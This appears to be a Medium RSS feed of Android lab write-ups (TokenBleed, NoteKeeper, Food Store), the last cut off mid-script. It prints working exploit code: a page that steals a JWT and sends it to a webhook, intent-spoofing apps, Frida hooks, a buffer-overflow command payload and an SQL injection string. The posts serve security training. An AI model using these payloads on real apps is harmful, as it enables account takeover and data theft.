<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anas Ibrahim on Medium]]></title>
        <description><![CDATA[Stories by Anas Ibrahim on Medium]]></description>
        <link>https://medium.com/@anas0x1?source=rss-905b5344dc81------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4vZ2jTQqAvgYsZukhpke5g.jpeg</url>
            <title>Stories by Anas Ibrahim on Medium</title>
            <link>https://medium.com/@anas0x1?source=rss-905b5344dc81------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 18:47:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anas0x1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mobile Hacking Lab - TokenBleed]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-tokenbleed-665435cb50d8?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/665435cb50d8</guid>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 22:25:21 GMT</pubDate>
            <atom:updated>2025-11-16T22:25:21.710Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YRj7e7FcgywpNL5AZPKjA.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) — a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>This challenge is designed to explore a common yet critical vulnerability in Android applications: a WebView’s JavaScript bridge exposes native methods to web pages. Your task is to find where the app exposes a bridge, exploit it (via a malicious page or deep link) to call the native API that returns the user’s JWT, and exfiltrate that token, demonstrating how such a flaw enables full account takeover.</p><p>I opened the manifest file and noticed these permissions:</p><pre>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_WIFI_STATE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.exchange.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.exchange.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>INTERNET</strong>: Allows the application to access the internet.</li><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: A custom signature-level permission, indicating components protected by this can only be accessed by apps signed with the same certificate.</li><li><strong>WRITE_EXTERNAL_STORAGE</strong>: Allows the app to write files to external storage (SD card / shared storage).</li><li><strong>ACCESS_NETWORK_STATE</strong>: Lets the app check whether network connectivity is available and what type.</li><li><strong>ACCESS_WIFI_STATE</strong>: Lets the app query Wi-Fi-specific information.</li><li><strong>READ_PHONE_STATE</strong>: Allows access to phone state info.</li><li><strong>READ_EXTERNAL_STORAGE</strong>: Allows the app to read files from external/shared storage.</li></ul><h3>Static Analysis</h3><p>I reviewed the app’s static files and code to find WebView attack surfaces. The most relevant artifacts are the AndroidManifest.xml (an exported SplashActivity with a mhlcrypto://showPage deep‑link intent filter) and DWebViewActivity, which loads attacker‑supplied URLs and calls dwebview.addJavascriptObject(new JsApi(this), null) , exposing a DSBridge JsApi.getUserAuth method that returns the stored JWT (via TokenManager) with no origin or caller checks.</p><h4>AndroidManifest.xml</h4><p>While inspecting AndroidManifest.xml I found an <strong>exported</strong> activity of interest: SplashActivity , it has intent filters that make the app a handler for the mhlcrypto:// deep link scheme. The other activities (LoginActivity, MainActivity, and DWebViewActivity) are <strong>not exported</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5s7ws7pBFqBQFnZbYnVLnA.png" /><figcaption>AndroidManifest Activity List</figcaption></figure><h4>SplashActivity</h4><p>SplashActivity is the app’s entry point that checks for a user token and redirects authenticated users to MainActivity or unauthenticated users to LoginActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmJoUPvjsvk2lOBm4Fa8Sg.png" /><figcaption>SplashActivity</figcaption></figure><h4>MainActivity</h4><p>Sets up the main UI with a bottom navigation that swaps between Dashboard/Wallet/Profile fragments (loads Dashboard by default).<br>Handles VIEW intents for mhlcrypto://showPage?url=... and forwards that URL to DWebViewActivity via the url_to_load extra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LWUAVs7VlCt_hcdot9jJqQ.png" /><figcaption>MainActivity</figcaption></figure><h4>LoginActivity</h4><p>In LoginActivity, the app first validates the user’s email and password to ensure proper format and minimum length, displaying errors if the inputs are invalid. Once validated, it performs asynchronous authentication, and upon successful login, it navigates the user to MainActivity while clearing the back stack to prevent returning to the login screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t8xZfks6dgQbq4M8vQpPRA.png" /><figcaption>LoginActivity</figcaption></figure><h4>DWebViewActivity</h4><p>DWebViewActivity loads a specified URL in a secure WebView, configuring settings to restrict file access and enable JavaScript interactions through a JsApi object. It also handles back navigation, allowing the user to go back within the WebView or exit the activity if no history is available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-jnqQfXO-wIBNmDtSK4TQ.png" /><figcaption>DWebViewActivity</figcaption></figure><h4>JSApi</h4><p>JsApi exposes JavaScript interfaces for the app’s WebView, allowing web content to access the user’s authentication token or report an error if none exists. It also enables opening a new DWebViewActivity with a specified URL, validating that the URL starts with “http” before launching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOmbQKaza8kXtup5ZmcPDg.png" /></figure><h4>DWebView</h4><p>While reversing DWebView, we discovered that it uses a JavaScript bridge with the following identifiers:</p><pre>private static final String BRIDGE_NAME = &quot;_dsbridge&quot;;<br>private static final String LOG_TAG = &quot;dsBridge&quot;;</pre><p>These indicate the bridge name _dsbridge used for communication between JavaScript and the native app, with dsBridge serving as the log tag for debugging purposes.</p><h3>First Solution (ADB)</h3><p>An attacker can craft a deep link like mhlcrypto://showPage?url=https://hacker.com/steal.html which the OS delivers to the app as a VIEW intent; SplashActivity forwards the incoming intent to MainActivity, which passes the attacker-controlled URL into DWebViewActivity via putExtra(&quot;url_to_load&quot;, &lt;attacker URL&gt;), and DWebViewActivity loads that URL into the embedded WebView and registers the native JsApi bridge, thus giving the remote page a channel to interact with the app and potentially exfiltrate data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hldnvs9Q90dHWOoObC6deQ.png" /><figcaption>flowChart</figcaption></figure><p>I logged in using arbitrary credentials (e.g., test@test.com:12345678), and authentication succeeded as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*dPavKdqD3RtRABlTEAEm5A.png" /><figcaption>Profile</figcaption></figure><p>I hosted the following HTML exploit on a webhook:</p><pre>&lt;!doctype html&gt;<br>&lt;meta charset=&quot;utf-8&quot;&gt;<br><br>&lt;!-- load dsbridge --&gt;<br>&lt;script src=&quot;https://cdn.jsdelivr.net/npm/dsbridge@3.1.4/dist/dsbridge.min.js&quot;&gt;&lt;/script&gt;<br><br>&lt;script&gt;<br>// change the webhook.site for your webhook.site<br>function send(tok){<br>  fetch(&quot;https://webhook.site/fce06776-8a13-41f1-8f8d-827a233e8d82?token=&quot;+encodeURIComponent(tok));<br>}<br><br>function unwrap(res){<br>  if(typeof res===&quot;string&quot;){ try{ res=JSON.parse(res);}catch(e){} }<br>  return res &amp;&amp; res.data &amp;&amp; res.data.authtoken;<br>}<br><br>// bridge ready and ask for token<br>document.addEventListener(&quot;DOMContentLoaded&quot;,()=&gt;{<br>  const bridge = window.dsBridge || window._dsbridge;<br>  if(!bridge || !bridge.call){ return; }<br><br>// getUserAuth<br>  bridge.call(&quot;getUserAuth&quot;, {}, function(resp){<br>      const jwt = unwrap(resp);<br>      if(jwt){ send(jwt); }<br>  });<br>});<br>&lt;/script&gt;</pre><p>I then opened the app’s WebView using an adb command that launches the activity with a deep link pointing to the hosted page:</p><pre>adb shell am start -a android.intent.action.VIEW -d &quot;mhlcrypto://showPage?url=https://webhook.site/f4d41d3d-7a09-4820-bbf7-f03951eae09c&quot;  com.mobilehackinglab.exchange/.SplashActivity</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lE2KVO7E9EC00FN2AcJavg.png" /><figcaption>ADB POC</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vzk-se0PSZigeOLH2PiOw.png" /><figcaption>Flag</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I created a small Android app which, when its button is tapped, builds the mhlcrypto://showPage deep link (pointing to your attacker URL) and explicitly starts the vulnerable app’s SplashActivity, causing the target app to load the attacker page in its DWebViewActivity where the DSBridge JsApi.getUserAuth call can exfiltrate the JWT to your webhook.</p><pre>package com.pentest.exploitapp;<br><br>import android.content.Intent;<br>import android.net.Uri;<br>import android.os.Bundle;<br>import android.view.View;<br>import android.widget.Button;<br>import android.widget.Toast;<br><br>import androidx.appcompat.app.AppCompatActivity;<br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Button btnExploit = findViewById(R.id.exploit_btn);<br>        btnExploit.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View view) {<br>                try {<br>                    // Deep-link URI<br>                    Intent intent = new Intent(Intent.ACTION_VIEW);<br>                    intent.setData(Uri.parse(&quot;mhlcrypto://showPage?url=https://webhook.site/f4d41d3d-7a09-4820-bbf7-f03951eae09c&quot;));<br><br>                    // Explicitly set the target component to ensure the correct app and activity are launched<br>                    intent.setClassName(&quot;com.mobilehackinglab.exchange&quot;, &quot;com.mobilehackinglab.exchange.SplashActivity&quot;);<br><br>                    // Launch the activity<br>                    startActivity(intent);<br>                } catch (Exception e) {<br>                    // Handle cases where the target app might not be installed<br>                    Toast.makeText(MainActivity.this, &quot;Error: Could not launch target app. Is it installed?&quot;, Toast.LENGTH_LONG).show();<br>                }<br>            }<br>        }); // The extra parenthesis and semicolon were here<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OqFUXCkRboLGZpI6t5tNVw.png" /><figcaption>Exploit App</figcaption></figure><p>After launching the exploit app and tapping the button, f the user is logged in, the app loads that page in its WebView. The page calls window.dsbridge.call(&#39;getUserAuth&#39;, ...) to retrieve the JWT and exfiltrates it to the attacker, enabling one‑click account takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJckvQEG17_1XYY6uYPRJw.png" /><figcaption>Exploit App POC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote a Frida script that starts the target app’s SplashActivity/DWebViewActivity with a crafted mhlcrypto://showPage?url=… deep link from inside the app process so the WebView loads my attacker page; run it with Frida to force the app to call dsBridge.call(&#39;getUserAuth&#39;,…) and capture the returned JWT (which is then exfiltrated or printed in the Frida console) for the TokenBleed challenge.</p><pre>Java.perform(function () {<br>    try {<br>        var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>        var Intent = Java.use(&#39;android.content.Intent&#39;);<br>        var Uri = Java.use(&#39;android.net.Uri&#39;);<br><br>        var app = ActivityThread.currentApplication();<br>        var ctx = app.getApplicationContext();<br><br>        var uri = Uri.parse(&quot;mhlcrypto://showPage?url=https://webhook.site/f4d41d3d-7a09-4820-bbf7-f03951eae09c&quot;);<br>        var intent = Intent.$new(&quot;android.intent.action.VIEW&quot;, uri);<br><br>        // target the vulnerable app&#39;s SplashActivity explicitly<br>        intent.setClassName(&quot;com.mobilehackinglab.exchange&quot;, &quot;com.mobilehackinglab.exchange.SplashActivity&quot;);<br><br>        // allow starting activity from non-Activity context<br>        intent.addFlags(0x10000000); // FLAG_ACTIVITY_NEW_TASK<br><br>        ctx.startActivity(intent);<br>        console.log(&quot;[frida] Deep link intent started&quot;);<br>    } catch (e) {<br>        console.log(&quot;[frida] Error starting deep link: &quot; + e);<br>    }<br>});</pre><p>I ran Frida with the command below to capture the retrieve the JWT and exfiltrate it to the attacker.</p><pre>frida -U -f com.mobilehackinglab.exchange -l script.js --no-pause</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HKWszj4AKOhpYZ6pyYudAA.png" /><figcaption>Frida POC</figcaption></figure><p>Finally, I’ve completed the write‑up for the <strong>TokenBleed</strong> challenge, documenting how its mhlcrypto:// deep‑link handling combined with an exposed DSBridge JsApi in the WebView lets an attacker remotely call getUserAuth and exfiltrate the victim’s JWT. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=665435cb50d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - NoteKeeper]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-notekeeper-1b505faf1da9?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b505faf1da9</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 22:13:27 GMT</pubDate>
            <atom:updated>2025-11-15T22:13:27.453Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KdTTvF_RyTa_wJVUDDLk_Q.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) — a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>This challenge demonstrates a remote‑code‑execution vulnerability caused by an unchecked stack buffer overflow in a native library. By overflowing a fixed‑size buffer we can overwrite a command buffer and cause the app to invoke arbitrary shell commands, resulting in RCE within the app’s process.</p><p>I opened the manifest file and noticed these permissions:</p><pre>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot;/&gt;<br>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.notekeeper.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.notekeeper.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>INTERNET</strong>: Allows the application to access the internet.</li><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: A custom signature-level permission, indicating components protected by this can only be accessed by apps signed with the same certificate.</li><li><strong>ACCESS_NETWORK_STATE</strong>: Lets the app check whether network connectivity is available and what type.</li></ul><h3>Static Analysis</h3><p>The app exposes an exported MainActivity that passes user input directly to a native parse(String) function, the bundled notekeeper.so copies that input into a fixed‑size stack buffer and later calls system() on a nearby command buffer, allowing a stack‑overflow to be leveraged for command execution.</p><h4>AndroidManifest.xml</h4><p>While inspecting AndroidManifest.xml I found an <strong>exported</strong> activity of interest: MainActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*doRKKE51qYa272AT8Uj9BA.png" /><figcaption>AndroidManifest.xml Activity List</figcaption></figure><h4>MainActivity</h4><p>The MainActivity sets up a RecyclerView UI with a floating action button that opens a dialog for adding notes (title and content) and displays them via a Note_Adapter. When the user submits a note the activity reads the title and content, calls the native parse(String) method on the title, adds the returned string to the note list, and relies on the bundled libnotekeeper.so (loaded with System.loadLibrary(&quot;notekeeper&quot;)).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnvI9uQomyJ_LglGAXoM9g.png" /><figcaption>MainActivity</figcaption></figure><h4>libnotekeeper.so</h4><p>This JNI function reads a Java String (GetStringChars/GetStringLength) and prepares two stack buffers: local_2a4[100] for a processed copy of the input and acStack_240[500] which is initialized with a shell command via memcpy. It transforms the first input byte with FUN_00100bf4 and then copies the rest of the characters into local_2a4 in a single unbounded loop (no length checks), and afterwards calls system(acStack_240). Because the code copies user data into a fixed 100‑byte buffer without bounds checking while the process later executes the nearby command buffer, an overly long title can overflow the stack and overwrite the command string (or other control data), enabling command execution (RCE).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qAG9E9kNGb23FOORMRE3yQ.png" /><figcaption>libnotekeeper.so</figcaption></figure><h3>Solution (Frida)</h3><p>I wrote a Frida script that injects a crafted <strong>title</strong> string directly into MainActivity.parse inside the NoteKeeper process, causing the native parse() routine to execute the injected shell command.</p><pre>Java.perform(function() {<br>    <br>    var MainActivity = Java.use(&quot;com.mobilehackinglab.notekeeper.MainActivity&quot;);<br>    const JavaString = Java.use(&#39;java.lang.String&#39;);<br><br>    MainActivity.parse.implementation = function(str) {<br>        console.log(&quot;Input: &quot; + str);<br>        const payload = JavaString.$new(&quot;Title&quot;.repeat(100) + &quot;; id &gt; /data/data/com.mobilehackinglab.notekeeper/poc.txt; #&quot;);<br>        console.log(&quot;Payload: &quot; + payload);<br>        const result = this.parse(payload);<br>        console.log(&quot;Return Value: &quot; + result);<br>        return result;<br>    };<br>});</pre><p>I ran Frida with the command below to invoke MainActivity.parse() using a crafted payload that executes a shell command.</p><pre>frida -U -f com.mobilehackinglab.notekeeper -l script.js --no-pause</pre><p>Enter a title and note content in the Add Note dialog, then tap <strong>ADD NOTE</strong> to submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ln3z9rY_hW5ruK_ENX7mTw.png" /><figcaption>Running Frida</figcaption></figure><p>The Frida script launches the injected command, which creates poc.txt containing the output of the id command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vi1Ebs8JN1dFp2vRnNNqjA.png" /><figcaption>Adding Note</figcaption></figure><p>I verified in adb shell that /data/data/com.mobilehackinglab.notekeeper/poc.txt exists and contains the output of id, confirming successful command execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0wTdieHrzbxJPFvT8miOA.png" /><figcaption>POC</figcaption></figure><p>Finally, I’ve completed the write‑up for the <strong>NoteKeeper</strong> challenge. It documents how the native parse(String) JNI implementation copies unbounded user input into a fixed‑size stack buffer and then invokes system() on a neighboring command buffer, allowing a straightforward buffer‑overflow to be leveraged for command execution. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b505faf1da9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - Food Store]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-food-store-1a135313f296?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a135313f296</guid>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 22:12:23 GMT</pubDate>
            <atom:updated>2025-11-15T22:12:23.130Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*941SYLDStf5cPCOxGSrTEQ.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) - a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>The Food Store app exposes MainActivity which blindly trusts Intent extras, allowing an attacker to claim Pro status and arbitrary credits via a crafted Intent or small exploit app. Its DBHelper.addUser concatenates user input into SQL, enabling SQL injection to flip the isPro flag.</p><p>While inspecting AndroidManifest.xml I found the following Permissions:</p><pre>&lt;permission<br>  android:name=&quot;com.mobilehackinglab.foodstore.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>  android:protectionLevel=&quot;signature&quot;/&gt;<br>&lt;uses-permission android:name=&quot;com.mobilehackinglab.foodstore.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;/&gt;</pre><ul><li><strong>DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION</strong>: The app declares it requests its own custom signature-protected permission.</li></ul><h3>Static Analysis</h3><ul><li><strong>AndroidManifest.xml:</strong> Shows MainActivity and LoginActivity are exported=&quot;true&quot;, Signup is exported=&quot;false&quot;.</li><li><strong>MainActivity:</strong> Sets UI and reads trusted Intent extras (USERNAME, USER_CREDIT, IS_PRO_USER, USER_ADDRESS) to display name/credits and pro status, allows trivial privilege escalation via crafted Intents or a small exploit app.</li><li><strong>Signup:</strong> Registers username/password/address and constructs a User object which is passed to DBHelper.addUser, input fields are client-controlled and used for registration.</li><li><strong>LoginActivity:</strong> Entry point for launching the app and login flow can be targeted by external intents as shown in the manifest.</li><li><strong>DBHelper:</strong> Builds raw SQL by concatenating inputs (username, Base64-encoding password/address), making addUser vulnerable to SQL injection via signup fields.</li><li><strong>User:</strong> Immutable data model (id, username, password, address, isPro) where isPro is a boolean read from the DB, password/address are Base64-encoded in storage and isPro controls Pro privileges.</li></ul><h4>AndroidManifest.xml</h4><p>Found two exported activities: <strong>MainActivity, LoginActivity </strong>and one non-exported activity: <strong>Signup</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yItVNPLRycPlnictyzOUw.png" /><figcaption>AndroidManifest.xml</figcaption></figure><h4>Signup</h4><p>While reversing the non-exported Signup activity I found it collects the registration fields, constructs a User object and passes them straight to DBHelper.addUser().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UnLEZBxgV3bwW_tZtkoHaw.png" /><figcaption>Signup</figcaption></figure><h4>DBHelper</h4><p>I inspected DBHelper.addUser and found it constructs an INSERT by directly concatenating the username and Base64-encoded password and address, setting isPro to 0 (false) by default that making the method vulnerable to SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9j0gw8VMUzAvuH9P9xbOWw.png" /><figcaption>DBHelper</figcaption></figure><h4>MainActivity</h4><p>MainActivity blindly trusts Intent extras (<strong>USERNAME</strong>, <strong>USER_CREDIT</strong>, <strong>IS_PRO_USER</strong>, <strong>USER_ADDRESS</strong>) to set UI and enforce purchase logic, so an attacker can gain Pro status or arbitrary credits by launching the activity with crafted extras.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dk6zGh_e3ZCP69_OT9XRVA.png" /><figcaption>MainActivity</figcaption></figure><h3>First Solution (ADB)</h3><p>I created an account with test user and it was a regular user as shown in the following image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*YiTZFCsx6sscbt-E_JSeAQ.png" /><figcaption>test (Regular User)</figcaption></figure><p>I used the following adb command to open the MainActivity with the extra data</p><pre>adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity --es USERNAME &quot;test&quot; --ei USER_CREDIT 10000 --ez IS_PRO_USER true --es USER_ADDRESS &quot;test&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*no5l0iD1frJjShIwL5-DUg.png" /><figcaption>test (Pro User)</figcaption></figure><h4>Second Approach</h4><p>I created an account using an SQL injection payload in the <strong>username</strong>, the app stored the username in cleartext and Base64-encoded the password and address, and the injection set isPro to 1 (true).</p><pre>MHL&#39;,&#39;cGFzc3dvcmQ=&#39;,&#39;YWRkcmVzcw==&#39;,1);—</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*lv2l33zey9bNYKuFKh0bQA.png" /><figcaption>SQLi payload in username</figcaption></figure><p>After logging in with credentials MHL:password, I was granted <strong>Pro User</strong> privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*vBxlHuaiOnVbvV9M3dFvKw.png" /><figcaption>MHL (Pro User)</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I built a small Android exploit app that launches MainActivity via an explicit Intent and injects intent extras (USERNAME=&quot;exploit&quot;, USER_CREDIT=10000, IS_PRO_USER=true, USER_ADDRESS=&quot;add&quot;) so the target app is started showing the exploit account as a Pro user with elevated credits.</p><pre>package com.pentest.exploitapp;<br><br>import android.content.Intent;<br>import android.os.Bundle;<br>import android.widget.Button;<br>import android.widget.Toast;<br><br>import androidx.appcompat.app.AppCompatActivity;<br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Button exploitButton = findViewById(R.id.exploit_btn);<br><br>        exploitButton.setOnClickListener(v -&gt; {<br>            // Create an intent to explicitly target the desired activity<br>            Intent intent = new Intent();<br>            intent.setClassName(&quot;com.mobilehackinglab.foodstore&quot;, &quot;com.mobilehackinglab.foodstore.MainActivity&quot;);<br><br>            // Add the extras to the intent, matching the adb command<br>            // --es USERNAME &quot;test&quot; -&gt; putExtra(String, String)<br>            intent.putExtra(&quot;USERNAME&quot;, &quot;exploit&quot;);<br><br>            // --ei USER_CREDIT 10000 -&gt; putExtra(String, int)<br>            intent.putExtra(&quot;USER_CREDIT&quot;, 10000);<br><br>            // --ez IS_PRO_USER true -&gt; putExtra(String, boolean)<br>            intent.putExtra(&quot;IS_PRO_USER&quot;, true);<br><br>            // --es USER_ADDRESS &quot;test&quot; -&gt; putExtra(String, String)<br>            intent.putExtra(&quot;USER_ADDRESS&quot;, &quot;add&quot;);<br><br>            try {<br>                // Launch the activity<br>                startActivity(intent);<br>            } catch (Exception e) {<br>                // Handle cases where the target app is not installed<br>                Toast.makeText(this, &quot;Failed to launch app. Is the target installed?&quot;, Toast.LENGTH_LONG).show();<br>            }<br>        });<br>    }<br>}</pre><p>I registered the username exploit and it was a Regular User.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_eT4pN6iz6Rx4grMQjE8A.png" /><figcaption>Before Running the exploit app</figcaption></figure><p>Before running the exploit app, the account was still Regular; I then launched the exploit app and clicked the button to start the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*jCObuC37RbvykSocBv6_rg.png" /><figcaption>Exploit app button</figcaption></figure><p>I tapped the exploit app’s button to trigger the payload, After the attack completed, the exploit account changed to Pro User.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuxeWfYmD8Oo4UKzqdAowg.png" /><figcaption>After running the exploit app</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote a Frida script that hooked SQLiteDatabase.execSQL(String) to intercept INSERT INTO users calls from DBHelper.addUser, attempting an in-place replace of , 0) → , 1) to set isPro=true.</p><pre>// auto_pro_sqli_hook.js<br>setImmediate(function () {<br>  Java.perform(function () {<br>    try {<br>      var SQLiteDatabase = Java.use(&#39;android.database.sqlite.SQLiteDatabase&#39;);<br><br>      // Overload execSQL(String)<br>      